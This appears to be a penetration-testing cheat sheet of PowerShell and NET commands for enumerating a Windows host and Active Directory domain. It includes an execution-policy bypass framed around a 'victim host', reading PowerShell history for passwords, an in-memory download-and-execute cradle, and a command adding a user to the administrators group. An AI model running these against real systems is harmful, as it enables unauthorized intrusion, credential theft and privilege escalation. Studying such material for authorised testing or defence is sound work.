Powershell
Enumeration
Basic
hostname
Prints the PC's Name
[System.Environment]::OSVersion.Version
Prints out the OS version and revision level
wmic qfe get Caption,Description,HotFixID,InstalledOn
Prints the patches and hotfixes applied to the host
ipconfig /all
Prints out network adapter state and configurations
set %USERDOMAIN%
Displays the domain name to which the host belongs (ran from CMD-prompt)
set %logonserver%
Prints out the name of the Domain controller the host checks in with (ran from CMD-prompt)
Modules
Get-Module
Lists available modules loaded for use.
Get-ExecutionPolicy -List
Will print the execution policy settings for each scope on a host.
Set-ExecutionPolicy Bypass -Scope Process
This will change the policy for our current process using the -Scope parameter. Doing so will revert the policy once we vacate the process or terminate it. This is ideal because we won't be making a permanent change to the victim host.
Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
With this string, we can get the specified user's PowerShell history. This can be quite helpful as the command history may contain passwords or point us towards configuration files or scripts that contain passwords.
Get-ChildItem Env: | ft Key,Value
Return environment values such as key paths, users, computer information, etc.
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('URL to download the file from'); <follow-on commands>"
This is a quick and easy way to download a file from the web using PowerShell and call it from memory.
NET Commands
net accounts
Information about password requirements
net accounts /domain
Password and lockout policy
net group /domain
Information about domain groups
net group "Domain Admins" /domain
List users with domain admin privileges
net group "domain computers" /domain
List of PCs connected to the domain
net group "Domain Controllers" /domain
List PC accounts of domains controllers
net group <domain_group_name> /domain
User that belongs to the group
net groups /domain
List of domain groups
net localgroup
All available groups
net localgroup administrators /domain
List users that belong to the administrators group inside the domain (the group Domain Admins is included here by default)
net localgroup Administrators
Information about a group (admins)
net localgroup administrators [username] /add
Add user to administrators
net share
Check current shares
net user <ACCOUNT_NAME> /domain
Get information about a user within the domain
net user /domain
List all users of the domain
net user %username%
Information about the current user
net use x: \computer\share
Mount the share locally
net view
Get a list of computers
net view /all /domain[:domainname]
Shares on the domains
net view \computer /ALL
List shares of a computer
net view /domain
List of PCs of the domain
Modules
Active Directory
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